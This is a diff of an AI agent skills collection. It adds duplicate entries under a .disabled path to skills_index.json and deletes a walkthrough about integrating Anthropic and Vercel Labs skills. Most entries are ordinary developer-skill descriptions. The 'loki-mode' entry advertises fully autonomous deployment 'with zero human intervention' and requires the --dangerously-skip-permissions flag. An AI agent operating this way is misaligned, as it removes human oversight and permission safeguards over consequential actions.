"description": "Use when a user asks for a plan for a coding task, to generate a clear, actionable, and atomic checklist."
|
||||
},
|
||||
{
|
||||
"id": "content-creator",
|
||||
"path": "skills/content-creator",
|
||||
"name": "content-creator",
|
||||
"description": "Create SEO-optimized marketing content with consistent brand voice. Includes brand voice analyzer, SEO optimizer, content frameworks, and social media templates. Use when writing blog posts, creating social media content, analyzing brand voice, optimizing SEO, planning content calendars, or when user mentions content creation, brand voice, SEO optimization, social media marketing, or content strategy."
|
||||
},
|
||||
{
|
||||
"id": "core-components",
|
||||
"path": "skills/.disabled/core-components",
|
||||
"name": "core-components",
|
||||
"description": "Core component library and design system patterns. Use when building UI, using design tokens, or working with the component library."
|
||||
},
|
||||
{
|
||||
"id": "core-components",
|
||||
"path": "skills/core-components",
|
||||
"name": "core-components",
|
||||
"description": "Core component library and design system patterns. Use when building UI, using design tokens, or working with the component library."
|
||||
},
|
||||
{
|
||||
"id": "claude-d3js-skill",
|
||||
"path": "skills/.disabled/claude-d3js-skill",
|
||||
"name": "d3-viz",
|
||||
"description": "Creating interactive data visualisations using d3.js. This skill should be used when creating custom charts, graphs, network diagrams, geographic visualisations, or any complex SVG-based data visualisation that requires fine-grained control over visual elements, transitions, or interactions. Use this for bespoke visualisations beyond standard charting libraries, whether in React, Vue, Svelte, vanilla JavaScript, or any other environment."
|
||||
},
|
||||
{
|
||||
"id": "claude-d3js-skill",
|
||||
"path": "skills/claude-d3js-skill",
|
||||
"name": "d3-viz",
|
||||
"description": "Creating interactive data visualisations using d3.js. This skill should be used when creating custom charts, graphs, network diagrams, geographic visualisations, or any complex SVG-based data visualisation that requires fine-grained control over visual elements, transitions, or interactions. Use this for bespoke visualisations beyond standard charting libraries, whether in React, Vue, Svelte, vanilla JavaScript, or any other environment."
|
||||
},
|
||||
{
|
||||
"id": "dispatching-parallel-agents",
|
||||
"path": "skills/.disabled/dispatching-parallel-agents",
|
||||
"name": "dispatching-parallel-agents",
|
||||
"description": "Use when facing 2+ independent tasks that can be worked on without shared state or sequential dependencies"
|
||||
},
|
||||
{
|
||||
"id": "dispatching-parallel-agents",
|
||||
"path": "skills/dispatching-parallel-agents",
|
||||
@@ -107,24 +365,48 @@
|
||||
"name": "docx",
|
||||
"description": "\"Comprehensive document creation, editing, and analysis with support for tracked changes, comments, formatting preservation, and text extraction. When Claude needs to work with professional documents (.docx files) for: (1) Creating new documents, (2) Modifying or editing content, (3) Working with tracked changes, (4) Adding comments, or any other document tasks\""
|
||||
},
|
||||
{
|
||||
"id": "executing-plans",
|
||||
"path": "skills/.disabled/executing-plans",
|
||||
"name": "executing-plans",
|
||||
"description": "Use when you have a written implementation plan to execute in a separate session with review checkpoints"
|
||||
},
|
||||
{
|
||||
"id": "executing-plans",
|
||||
"path": "skills/executing-plans",
|
||||
"name": "executing-plans",
|
||||
"description": "Use when you have a written implementation plan to execute in a separate session with review checkpoints"
|
||||
},
|
||||
{
|
||||
"id": "file-organizer",
|
||||
"path": "skills/.disabled/file-organizer",
|
||||
"name": "file-organizer",
|
||||
"description": "Intelligently organizes files and folders by understanding context, finding duplicates, and suggesting better organizational structures. Use when user wants to clean up directories, organize downloads, remove duplicates, or restructure projects."
|
||||
},
|
||||
{
|
||||
"id": "file-organizer",
|
||||
"path": "skills/file-organizer",
|
||||
"name": "file-organizer",
|
||||
"description": "Intelligently organizes files and folders by understanding context, finding duplicates, and suggesting better organizational structures. Use when user wants to clean up directories, organize downloads, remove duplicates, or restructure projects."
|
||||
},
|
||||
{
|
||||
"id": "finishing-a-development-branch",
|
||||
"path": "skills/.disabled/finishing-a-development-branch",
|
||||
"name": "finishing-a-development-branch",
|
||||
"description": "Use when implementation is complete, all tests pass, and you need to decide how to integrate the work - guides completion of development work by presenting structured options for merge, PR, or cleanup"
|
||||
},
|
||||
{
|
||||
"id": "finishing-a-development-branch",
|
||||
"path": "skills/finishing-a-development-branch",
|
||||
"name": "finishing-a-development-branch",
|
||||
"description": "Use when implementation is complete, all tests pass, and you need to decide how to integrate the work - guides completion of development work by presenting structured options for merge, PR, or cleanup"
|
||||
},
|
||||
{
|
||||
"id": "frontend-design",
|
||||
"path": "skills/.disabled/frontend-design",
|
||||
"name": "frontend-design",
|
||||
"description": "Create distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, artifacts, posters, or applications (examples include websites, landing pages, dashboards, React components, HTML/CSS layouts, or when styling/beautifying any web UI). Generates creative, polished code and UI design that avoids generic AI aesthetics."
|
||||
},
|
||||
{
|
||||
"id": "frontend-design",
|
||||
"path": "skills/frontend-design",
|
||||
@@ -143,6 +425,12 @@
|
||||
"name": "git-pushing",
|
||||
"description": "Stage, commit, and push git changes with conventional commit messages. Use when user wants to commit and push changes, mentions pushing to remote, or asks to save and push their work. Also activates when user says \"push changes\", \"commit and push\", \"push this\", \"push to github\", or similar git workflow requests."
|
||||
},
|
||||
{
|
||||
"id": "github-workflow-automation",
|
||||
"path": "skills/github-workflow-automation",
|
||||
"name": "github-workflow-automation",
|
||||
"description": "\"Automate GitHub workflows with AI assistance. Includes PR reviews, issue triage, CI/CD integration, and Git operations. Use when automating GitHub workflows, setting up PR review automation, creating GitHub Actions, or triaging issues.\""
|
||||
},
|
||||
{
|
||||
"id": "internal-comms-anthropic",
|
||||
"path": "skills/internal-comms-anthropic",
|
||||
@@ -155,12 +443,36 @@
|
||||
"name": "internal-comms",
|
||||
"description": "A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. Claude should use this skill whenever asked to write some sort of internal communications (status reports, leadership updates, 3P updates, company newsletters, FAQs, incident reports, project updates, etc.)."
|
||||
},
|
||||
{
|
||||
"id": "javascript-mastery",
|
||||
"path": "skills/javascript-mastery",
|
||||
"name": "javascript-mastery",
|
||||
"description": "\"Comprehensive JavaScript reference covering 33+ essential concepts every developer should know. From fundamentals like primitives and closures to advanced patterns like async/await and functional programming. Use when explaining JS concepts, debugging JavaScript issues, or teaching JavaScript fundamentals.\""
|
||||
},
|
||||
{
|
||||
"id": "kaizen",
|
||||
"path": "skills/kaizen",
|
||||
"name": "kaizen",
|
||||
"description": "Guide for continuous improvement, error proofing, and standardization. Use this skill when the user wants to improve code quality, refactor, or discuss process improvements."
|
||||
},
|
||||
{
|
||||
"id": "kaizen",
|
||||
"path": "skills/.disabled/kaizen",
|
||||
"name": "kaizen",
|
||||
"description": "Guide for continuous improvement, error proofing, and standardization. Use this skill when the user wants to improve code quality, refactor, or discuss process improvements."
|
||||
},
|
||||
{
|
||||
"id": "llm-app-patterns",
|
||||
"path": "skills/llm-app-patterns",
|
||||
"name": "llm-app-patterns",
|
||||
"description": "\"Production-ready patterns for building LLM applications. Covers RAG pipelines, agent architectures, prompt IDEs, and LLMOps monitoring. Use when designing AI applications, implementing RAG, building agents, or setting up LLM observability.\""
|
||||
},
|
||||
{
|
||||
"id": "loki-mode",
|
||||
"path": "skills/.disabled/loki-mode",
|
||||
"name": "loki-mode",
|
||||
"description": "Multi-agent autonomous startup system for Claude Code. Triggers on \"Loki Mode\". Orchestrates 100+ specialized agents across engineering, QA, DevOps, security, data/ML, business operations, marketing, HR, and customer success. Takes PRD to fully deployed, revenue-generating product with zero human intervention. Features Task tool for subagent dispatch, parallel code review with 3 specialized reviewers, severity-based issue triage, distributed task queue with dead letter handling, automatic deployment to cloud providers, A/B testing, customer feedback loops, incident response, circuit breakers, and self-healing. Handles rate limits via distributed state checkpoints and auto-resume with exponential backoff. Requires --dangerously-skip-permissions flag."
|
||||
},
|
||||
{
|
||||
"id": "loki-mode",
|
||||
"path": "skills/loki-mode",
|
||||
@@ -203,30 +515,66 @@
|
||||
"name": "pptx",
|
||||
"description": "\"Presentation creation, editing, and analysis. When Claude needs to work with presentations (.pptx files) for: (1) Creating new presentations, (2) Modifying or editing content, (3) Working with layouts, (4) Adding comments or speaker notes, or any other presentation tasks\""
|
||||
},
|
||||
{
|
||||
"id": "product-manager-toolkit",
|
||||
"path": "skills/.disabled/product-manager-toolkit",
|
||||
"name": "product-manager-toolkit",
|
||||
"description": "Comprehensive toolkit for product managers including RICE prioritization, customer interview analysis, PRD templates, discovery frameworks, and go-to-market strategies. Use for feature prioritization, user research synthesis, requirement documentation, and product strategy development."
|
||||
},
|
||||
{
|
||||
"id": "product-manager-toolkit",
|
||||
"path": "skills/product-manager-toolkit",
|
||||
"name": "product-manager-toolkit",
|
||||
"description": "Comprehensive toolkit for product managers including RICE prioritization, customer interview analysis, PRD templates, discovery frameworks, and go-to-market strategies. Use for feature prioritization, user research synthesis, requirement documentation, and product strategy development."
|
||||
},
|
||||
{
|
||||
"id": "prompt-engineering",
|
||||
"path": "skills/.disabled/prompt-engineering",
|
||||
"name": "prompt-engineering",
|
||||
"description": "Expert guide on prompt engineering patterns, best practices, and optimization techniques. Use when user wants to improve prompts, learn prompting strategies, or debug agent behavior."
|
||||
},
|
||||
{
|
||||
"id": "prompt-engineering",
|
||||
"path": "skills/prompt-engineering",
|
||||
"name": "prompt-engineering",
|
||||
"description": "Expert guide on prompt engineering patterns, best practices, and optimization techniques. Use when user wants to improve prompts, learn prompting strategies, or debug agent behavior."
|
||||
},
|
||||
{
|
||||
"id": "prompt-library",
|
||||
"path": "skills/prompt-library",
|
||||
"name": "prompt-library",
|
||||
"description": "\"Curated collection of high-quality prompts for various use cases. Includes role-based prompts, task-specific templates, and prompt refinement techniques. Use when user needs prompt templates, role-play prompts, or ready-to-use prompt examples for coding, writing, analysis, or creative tasks.\""
|
||||
},
|
||||
{
|
||||
"id": "react-ui-patterns",
|
||||
"path": "skills/.disabled/react-ui-patterns",
|
||||
"name": "react-ui-patterns",
|
||||
"description": "Modern React UI patterns for loading states, error handling, and data fetching. Use when building UI components, handling async data, or managing UI states."
|
||||
},
|
||||
{
|
||||
"id": "react-ui-patterns",
|
||||
"path": "skills/react-ui-patterns",
|
||||
"name": "react-ui-patterns",
|
||||
"description": "Modern React UI patterns for loading states, error handling, and data fetching. Use when building UI components, handling async data, or managing UI states."
|
||||
},
|
||||
{
|
||||
"id": "receiving-code-review",
|
||||
"path": "skills/.disabled/receiving-code-review",
|
||||
"name": "receiving-code-review",
|
||||
"description": "Use when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation"
|
||||
},
|
||||
{
|
||||
"id": "receiving-code-review",
|
||||
"path": "skills/receiving-code-review",
|
||||
"name": "receiving-code-review",
|
||||
"description": "Use when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation"
|
||||
},
|
||||
{
|
||||
"id": "requesting-code-review",
|
||||
"path": "skills/.disabled/requesting-code-review",
|
||||
"name": "requesting-code-review",
|
||||
"description": "Use when completing tasks, implementing major features, or before merging to verify work meets requirements"
|
||||
},
|
||||
{
|
||||
"id": "requesting-code-review",
|
||||
"path": "skills/requesting-code-review",
|
||||
@@ -245,18 +593,36 @@
|
||||
"name": "senior-fullstack",
|
||||
"description": "Comprehensive fullstack development skill for building complete web applications with React, Next.js, Node.js, GraphQL, and PostgreSQL. Includes project scaffolding, code quality analysis, architecture patterns, and complete tech stack guidance. Use when building new projects, analyzing code quality, implementing design patterns, or setting up development workflows."
|
||||
},
|
||||
{
|
||||
"id": "skill-creator",
|
||||
"path": "skills/.disabled/skill-creator",
|
||||
"name": "skill-creator",
|
||||
"description": "Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends Claude's capabilities with specialized knowledge, workflows, or tool integrations."
|
||||
},
|
||||
{
|
||||
"id": "skill-creator",
|
||||
"path": "skills/skill-creator",
|
||||
"name": "skill-creator",
|
||||
"description": "Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends Claude's capabilities with specialized knowledge, workflows, or tool integrations."
|
||||
},
|
||||
{
|
||||
"id": "skill-developer",
|
||||
"path": "skills/.disabled/skill-developer",
|
||||
"name": "skill-developer",
|
||||
"description": "Create and manage Claude Code skills following Anthropic best practices. Use when creating new skills, modifying skill-rules.json, understanding trigger patterns, working with hooks, debugging skill activation, or implementing progressive disclosure. Covers skill structure, YAML frontmatter, trigger types (keywords, intent patterns, file paths, content patterns), enforcement levels (block, suggest, warn), hook mechanisms (UserPromptSubmit, PreToolUse), session tracking, and the 500-line rule."
|
||||
},
|
||||
{
|
||||
"id": "skill-developer",
|
||||
"path": "skills/skill-developer",
|
||||
"name": "skill-developer",
|
||||
"description": "Create and manage Claude Code skills following Anthropic best practices. Use when creating new skills, modifying skill-rules.json, understanding trigger patterns, working with hooks, debugging skill activation, or implementing progressive disclosure. Covers skill structure, YAML frontmatter, trigger types (keywords, intent patterns, file paths, content patterns), enforcement levels (block, suggest, warn), hook mechanisms (UserPromptSubmit, PreToolUse), session tracking, and the 500-line rule."
|
||||
},
|
||||
{
|
||||
"id": "slack-gif-creator",
|
||||
"path": "skills/.disabled/slack-gif-creator",
|
||||
"name": "slack-gif-creator",
|
||||
"description": "Knowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like \"make me a GIF of X doing Y for Slack.\""
|
||||
},
|
||||
{
|
||||
"id": "slack-gif-creator",
|
||||
"path": "skills/slack-gif-creator",
|
||||
@@ -269,6 +635,12 @@
|
||||
"name": "software-architecture",
|
||||
"description": "Guide for quality focused software architecture. This skill should be used when users want to write code, design architecture, analyze code, in any case that relates to software development."
|
||||
},
|
||||
{
|
||||
"id": "subagent-driven-development",
|
||||
"path": "skills/.disabled/subagent-driven-development",
|
||||
"name": "subagent-driven-development",
|
||||
"description": "Use when executing implementation plans with independent tasks in the current session"
|
||||
},
|
||||
{
|
||||
"id": "subagent-driven-development",
|
||||
"path": "skills/subagent-driven-development",
|
||||
@@ -287,18 +659,36 @@
|
||||
"name": "test-driven-development",
|
||||
"description": "Use when implementing any feature or bugfix, before writing implementation code"
|
||||
},
|
||||
{
|
||||
"id": "test-fixing",
|
||||
"path": "skills/.disabled/test-fixing",
|
||||
"name": "test-fixing",
|
||||
"description": "Run tests and systematically fix all failing tests using smart error grouping. Use when user asks to fix failing tests, mentions test failures, runs test suite and failures occur, or requests to make tests pass."
|
||||
},
|
||||
{
|
||||
"id": "test-fixing",
|
||||
"path": "skills/test-fixing",
|
||||
"name": "test-fixing",
|
||||
"description": "Run tests and systematically fix all failing tests using smart error grouping. Use when user asks to fix failing tests, mentions test failures, runs test suite and failures occur, or requests to make tests pass."
|
||||
},
|
||||
{
|
||||
"id": "testing-patterns",
|
||||
"path": "skills/.disabled/testing-patterns",
|
||||
"name": "testing-patterns",
|
||||
"description": "Jest testing patterns, factory functions, mocking strategies, and TDD workflow. Use when writing unit tests, creating test factories, or following TDD red-green-refactor cycle."
|
||||
},
|
||||
{
|
||||
"id": "testing-patterns",
|
||||
"path": "skills/testing-patterns",
|
||||
"name": "testing-patterns",
|
||||
"description": "Jest testing patterns, factory functions, mocking strategies, and TDD workflow. Use when writing unit tests, creating test factories, or following TDD red-green-refactor cycle."
|
||||
},
|
||||
{
|
||||
"id": "theme-factory",
|
||||
"path": "skills/.disabled/theme-factory",
|
||||
"name": "theme-factory",
|
||||
"description": "Toolkit for styling artifacts with a theme. These artifacts can be slides, docs, reportings, HTML landing pages, etc. There are 10 pre-set themes with colors/fonts that you can apply to any artifact that has been creating, or can generate a new theme on-the-fly."
|
||||
},
|
||||
{
|
||||
"id": "theme-factory",
|
||||
"path": "skills/theme-factory",
|
||||
@@ -309,7 +699,13 @@
|
||||
"id": "ui-ux-pro-max",
|
||||
"path": "skills/ui-ux-pro-max",
|
||||
"name": "ui-ux-pro-max",
|
||||
"description": "\"UI/UX design intelligence. 50 styles, 21 palettes, 50 font pairings, 20 charts, 8 stacks (React, Next.js, Vue, Svelte, SwiftUI, React Native, Flutter, Tailwind). Actions: plan, build, create, design, implement, review, fix, improve, optimize, enhance, refactor, check UI/UX code. Projects: website, landing page, dashboard, admin panel, e-commerce, SaaS, portfolio, blog, mobile app, .html, .tsx, .vue, .svelte. Elements: button, modal, navbar, sidebar, card, table, form, chart. Styles: glassmorphism, claymorphism, minimalism, brutalism, neumorphism, bento grid, dark mode, responsive, skeuomorphism, flat design. Topics: color palette, accessibility, animation, layout, typography, font pairing, spacing, hover, shadow, gradient.\""
|
||||
"description": "\"UI/UX design intelligence. 50 styles, 21 palettes, 50 font pairings, 20 charts, 9 stacks (React, Next.js, Vue, Svelte, SwiftUI, React Native, Flutter, Tailwind, shadcn/ui). Actions: plan, build, create, design, implement, review, fix, improve, optimize, enhance, refactor, check UI/UX code. Projects: website, landing page, dashboard, admin panel, e-commerce, SaaS, portfolio, blog, mobile app, .html, .tsx, .vue, .svelte. Elements: button, modal, navbar, sidebar, card, table, form, chart. Styles: glassmorphism, claymorphism, minimalism, brutalism, neumorphism, bento grid, dark mode, responsive, skeuomorphism, flat design. Topics: color palette, accessibility, animation, layout, typography, font pairing, spacing, hover, shadow, gradient. Integrations: shadcn/ui MCP for component search and examples.\""
|
||||
},
|
||||
{
|
||||
"id": "using-git-worktrees",
|
||||
"path": "skills/.disabled/using-git-worktrees",
|
||||
"name": "using-git-worktrees",
|
||||
"description": "Use when starting feature work that needs isolation from current workspace or before executing implementation plans - creates isolated git worktrees with smart directory selection and safety verification"
|
||||
},
|
||||
{
|
||||
"id": "using-git-worktrees",
|
||||
@@ -317,6 +713,12 @@
|
||||
"name": "using-git-worktrees",
|
||||
"description": "Use when starting feature work that needs isolation from current workspace or before executing implementation plans - creates isolated git worktrees with smart directory selection and safety verification"
|
||||
},
|
||||
{
|
||||
"id": "using-superpowers",
|
||||
"path": "skills/.disabled/using-superpowers",
|
||||
"name": "using-superpowers",
|
||||
"description": "Use when starting any conversation - establishes how to find and use skills, requiring Skill tool invocation before ANY response including clarifying questions"
|
||||
},
|
||||
{
|
||||
"id": "using-superpowers",
|
||||
"path": "skills/using-superpowers",
|
||||
@@ -335,6 +737,12 @@
|
||||
"name": "verification-before-completion",
|
||||
"description": "Use when about to claim work is complete, fixed, or passing, before committing or creating PRs - requires running verification commands and confirming output before making any success claims; evidence before assertions always"
|
||||
},
|
||||
{
|
||||
"id": "web-artifacts-builder",
|
||||
"path": "skills/.disabled/web-artifacts-builder",
|
||||
"name": "web-artifacts-builder",
|
||||
"description": "Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn/ui). Use for complex artifacts requiring state management, routing, or shadcn/ui components - not for simple single-file HTML/JSX artifacts."
|
||||
},
|
||||
{
|
||||
"id": "web-artifacts-builder",
|
||||
"path": "skills/web-artifacts-builder",
|
||||
@@ -353,6 +761,12 @@
|
||||
"name": "webapp-testing",
|
||||
"description": "Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs."
|
||||
},
|
||||
{
|
||||
"id": "workflow-automation",
|
||||
"path": "skills/workflow-automation",
|
||||
"name": "workflow-automation",
|
||||
"description": "\"Design and implement automated workflows combining visual logic with custom code. Create multi-step automations, integrate APIs, and build AI-native pipelines. Use when designing automation flows, integrating APIs, building event-driven systems, or creating LangChain-style AI workflows.\""
|
||||
},
|
||||
{
|
||||
"id": "writing-plans",
|
||||
"path": "skills/writing-plans",
|
||||
|
||||
320
walkthrough.md
320
walkthrough.md
@@ -1,320 +0,0 @@
|
||||
# Skills Integration Walkthrough
|
||||
|
||||
> **Integration of Anthropic Official Skills and Vercel Labs Skills**
|
||||
>
|
||||
> Date: 2026-01-15
|
||||
> Status: ✅ **Completed Successfully**
|
||||
|
||||
## Executive Summary
|
||||
|
||||
Successfully integrated **8 new skills** from **Anthropic** (official repository) and **Vercel Labs**, expanding the collection from **58 to 62 high-performance skills**. The integration implements a dual-versioning strategy: official Anthropic skills for local development (via symlinks), while maintaining both community and official versions in the GitHub repository for maximum flexibility.
|
||||
|
||||
---
|
||||
|
||||
## 📊 Integration Results
|
||||
|
||||
| Metric | Before | After | Change |
|
||||
| --------------------- | ------- | ------- | ------------------------------- |
|
||||
| **Total Skills** | 58 | 62 | +4 new (+6 versions) |
|
||||
| **Official Sources** | 0 | 2 | Anthropic + Vercel Labs |
|
||||
| **Validation Status** | ✅ Pass | ✅ Pass | All 62 skills validated |
|
||||
| **Index Updated** | ✅ | ✅ | `skills_index.json` regenerated |
|
||||
|
||||
---
|
||||
|
||||
## 🆕 New Skills Added
|
||||
|
||||
### From Vercel Labs (2 Skills)
|
||||
|
||||
#### 1. [react-best-practices](skills/react-best-practices)
|
||||
|
||||
- **Source**: [vercel-labs/agent-skills](https://github.com/vercel-labs/agent-skills)
|
||||
- **Description**: 40+ performance optimization rules for React and Next.js applications
|
||||
- **Categories Covered**:
|
||||
- Eliminating waterfalls (Critical)
|
||||
- Bundle size optimization (Critical)
|
||||
- Server-side performance (High)
|
||||
- Client-side data fetching (Medium-High)
|
||||
- Re-render optimization (Medium)
|
||||
- JavaScript micro-optimizations (Low-Medium)
|
||||
|
||||
#### 2. [web-design-guidelines](skills/web-design-guidelines)
|
||||
|
||||
- **Source**: [vercel-labs/agent-skills](https://github.com/vercel-labs/agent-skills)
|
||||
- **Description**: 100+ audit rules for UI/UX compliance
|
||||
- **Categories Covered**:
|
||||
- Accessibility (ARIA, semantic HTML, keyboard navigation)
|
||||
- Focus states (visible focus, focus-visible patterns)
|
||||
- Forms (autocomplete, validation, error handling)
|
||||
- Animation (prefers-reduced-motion, compositor-friendly transforms)
|
||||
- Typography (curly quotes, ellipsis, tabular-nums)
|
||||
- Images (dimensions, lazy loading, alt text)
|
||||
- Performance (virtualization, layout thrashing, preconnect)
|
||||
- Navigation & State (URL reflects state, deep-linking)
|
||||
- Dark mode & theming
|
||||
- Touch & interaction
|
||||
- Locale & i18n
|
||||
|
||||
### From Anthropic Official Repository (6 Skills)
|
||||
|
||||
#### 3. [docx-official](skills/docx-official)
|
||||
|
||||
- **Source**: [anthropics/skills](https://github.com/anthropics/skills)
|
||||
- **Description**: Official Anthropic MS Word document manipulation
|
||||
- **License**: Apache 2.0 (source-available)
|
||||
- **Status**: Production-grade, powers Claude's document capabilities
|
||||
|
||||
#### 4. [pdf-official](skills/pdf-official)
|
||||
|
||||
- **Source**: [anthropics/skills](https://github.com/anthropics/skills)
|
||||
- **Description**: Official Anthropic PDF document manipulation
|
||||
- **License**: Apache 2.0 (source-available)
|
||||
|
||||
#### 5. [pptx-official](skills/pptx-official)
|
||||
|
||||
- **Source**: [anthropics/skills](https://github.com/anthropics/skills)
|
||||
- **Description**: Official Anthropic PowerPoint manipulation
|
||||
- **License**: Apache 2.0 (source-available)
|
||||
|
||||
#### 6. [xlsx-official](skills/xlsx-official)
|
||||
|
||||
- **Source**: [anthropics/skills](https://github.com/anthropics/skills)
|
||||
- **Description**: Official Anthropic Excel spreadsheet manipulation
|
||||
- **License**: Apache 2.0 (source-available)
|
||||
|
||||
#### 7. [brand-guidelines-anthropic](skills/brand-guidelines-anthropic)
|
||||
|
||||
- **Source**: [anthropics/skills](https://github.com/anthropics/skills)
|
||||
- **Description**: Official Anthropic brand styling and visual standards
|
||||
- **Note**: Kept alongside community version for flexibility
|
||||
|
||||
#### 8. [internal-comms-anthropic](skills/internal-comms-anthropic)
|
||||
|
||||
- **Source**: [anthropics/skills](https://github.com/anthropics/skills)
|
||||
- **Description**: Official Anthropic corporate communication templates
|
||||
- **Note**: Kept alongside community version for flexibility
|
||||
|
||||
---
|
||||
|
||||
## 🔧 Implementation Strategy
|
||||
|
||||
### Dual-Versioning Approach
|
||||
|
||||
To satisfy both **local development needs** (using official versions) and **repository flexibility** (offering both versions), a dual-versioning strategy was implemented:
|
||||
|
||||
#### Local Environment (Developer Machine)
|
||||
|
||||
```
|
||||
skills/
|
||||
├── docx -> docx-official (symlink)
|
||||
├── pdf -> pdf-official (symlink)
|
||||
├── pptx -> pptx-official (symlink)
|
||||
├── xlsx -> xlsx-official (symlink)
|
||||
├── brand-guidelines-anthropic/
|
||||
├── brand-guidelines-community/
|
||||
├── internal-comms-anthropic/
|
||||
├── internal-comms-community/
|
||||
```
|
||||
|
||||
**Result**: Local development uses official Anthropic versions by default.
|
||||
|
||||
#### GitHub Repository
|
||||
|
||||
```
|
||||
skills/
|
||||
├── docx-official/ (official Anthropic)
|
||||
├── docx-community/ (community version)
|
||||
├── pdf-official/ (official Anthropic)
|
||||
├── pdf-community/ (community version)
|
||||
├── pptx-official/ (official Anthropic)
|
||||
├── pptx-community/ (community version)
|
||||
├── xlsx-official/ (official Anthropic)
|
||||
├── xlsx-community/ (community version)
|
||||
├── brand-guidelines-anthropic/
|
||||
├── brand-guidelines-community/
|
||||
├── internal-comms-anthropic/
|
||||
├── internal-comms-community/
|
||||
```
|
||||
|
||||
**Result**: Repository users can choose between official and community versions.
|
||||
|
||||
---
|
||||
|
||||
## ✅ Validation & Quality Assurance
|
||||
|
||||
### Automated Validation
|
||||
|
||||
```bash
|
||||
$ python3 scripts/validate_skills.py
|
||||
🔍 Validating skills in: /Users/nicco/Antigravity Projects/antigravity-awesome-skills/skills
|
||||
✅ Found and checked 62 skills.
|
||||
✨ All skills passed basic validation!
|
||||
```
|
||||
|
||||
**Status**: All 62 skills validated successfully.
|
||||
|
||||
### Index Regeneration
|
||||
|
||||
```bash
|
||||
$ python3 scripts/generate_index.py
|
||||
🏗️ Generating index from: /Users/nicco/Antigravity Projects/antigravity-awesome-skills/skills
|
||||
✅ Generated index with 62 skills at: skills_index.json
|
||||
```
|
||||
|
||||
**Status**: Index regenerated with complete metadata for all skills.
|
||||
|
||||
---
|
||||
|
||||
## 📝 Documentation Updates
|
||||
|
||||
### README.md Changes
|
||||
|
||||
1. **Header Updated**:
|
||||
|
||||
- Skill count: 58 → 62
|
||||
- Added mention of "official skills from Anthropic and Vercel Labs"
|
||||
|
||||
2. **Full Skill Registry**:
|
||||
|
||||
- Complete table updated with all 62 skills
|
||||
- New skills marked with ⭐ NEW
|
||||
- Added explanatory note about dual-versioning strategy
|
||||
|
||||
3. **Credits & Sources**:
|
||||
- Added "Official Sources" section
|
||||
- Listed Anthropic and Vercel Labs with proper attribution
|
||||
- Maintained existing community contributors section
|
||||
|
||||
### skills_index.json
|
||||
|
||||
- Automatically regenerated with all 62 skills
|
||||
- Includes complete metadata for each skill
|
||||
- Machine-readable format for programmatic access
|
||||
|
||||
---
|
||||
|
||||
## 🔍 File Structure Changes
|
||||
|
||||
### Added Files
|
||||
|
||||
```
|
||||
skills/brand-guidelines-anthropic/
|
||||
skills/internal-comms-anthropic/
|
||||
skills/docx-official/
|
||||
skills/pdf-official/
|
||||
skills/pptx-official/
|
||||
skills/xlsx-official/
|
||||
skills/react-best-practices/
|
||||
skills/web-design-guidelines/
|
||||
```
|
||||
|
||||
### Renamed Files (Community Versions)
|
||||
|
||||
```
|
||||
skills/brand-guidelines → skills/brand-guidelines-community
|
||||
skills/internal-comms → skills/internal-comms-community
|
||||
skills/docx → skills/docx-community (repository only)
|
||||
skills/pdf → skills/pdf-community (repository only)
|
||||
skills/pptx → skills/pptx-community (repository only)
|
||||
skills/xlsx → skills/xlsx-community (repository only)
|
||||
```
|
||||
|
||||
### Symlinks Created (Local Only)
|
||||
|
||||
```
|
||||
skills/docx → docx-official
|
||||
skills/pdf → pdf-official
|
||||
skills/pptx → pptx-official
|
||||
skills/xlsx → xlsx-official
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🎯 Benefits of This Integration
|
||||
|
||||
### For Developers
|
||||
|
||||
- ✅ **Official Anthropic Skills**: Access to production-grade document manipulation skills
|
||||
- ✅ **Vercel Best Practices**: Industry-standard React/Next.js optimization guidelines
|
||||
- ✅ **Comprehensive UI/UX Auditing**: 100+ rules for design compliance
|
||||
- ✅ **Dual-Version Flexibility**: Choose between community and official implementations
|
||||
|
||||
### For the Project
|
||||
|
||||
- ✅ **Authoritative Sources**: Direct integration from creators (Anthropic, Vercel)
|
||||
- ✅ **Production-Tested**: Skills that power real-world applications
|
||||
- ✅ **Future-Proof**: Likely to be maintained and updated by official sources
|
||||
- ✅ **License Compatibility**: Apache 2.0 and MIT licenses are fully compatible
|
||||
|
||||
---
|
||||
|
||||
## 📋 Implementation Timeline
|
||||
|
||||
| Phase | Status | Duration |
|
||||
| ------------------------- | ----------- | ----------- |
|
||||
| **Planning** | ✅ Complete | ~15 minutes |
|
||||
| - Repository analysis | ✅ | |
|
||||
| - Conflict identification | ✅ | |
|
||||
| - Strategy approval | ✅ | |
|
||||
| **Execution** | ✅ Complete | ~10 minutes |
|
||||
| - Repository cloning | ✅ | |
|
||||
| - Skill integration | ✅ | |
|
||||
| - Documentation updates | ✅ | |
|
||||
| - Validation | ✅ | |
|
||||
| **Verification** | ✅ Complete | ~5 minutes |
|
||||
| - Walkthrough creation | ✅ | |
|
||||
|
||||
**Total Time**: ~30 minutes
|
||||
|
||||
---
|
||||
|
||||
## 🚀 Next Steps
|
||||
|
||||
### Completed
|
||||
|
||||
- ✅ Integration planning
|
||||
- ✅ Repository cloning
|
||||
- ✅ Skill copying and organization
|
||||
- ✅ Dual-versioning implementation
|
||||
- ✅ Validation (62/62 skills pass)
|
||||
- ✅ Documentation updates
|
||||
- ✅ Walkthrough creation
|
||||
|
||||
### Remaining
|
||||
|
||||
- ⏳ Git commit and push to GitHub
|
||||
- ⏳ Optional: Create GitHub release notes
|
||||
|
||||
---
|
||||
|
||||
## 📚 References
|
||||
|
||||
### Source Repositories
|
||||
|
||||
- [anthropics/skills](https://github.com/anthropics/skills) - Official Anthropic Agent Skills
|
||||
- [vercel-labs/agent-skills](https://github.com/vercel-labs/agent-skills) - Vercel Labs Skills
|
||||
|
||||
### Documentation
|
||||
|
||||
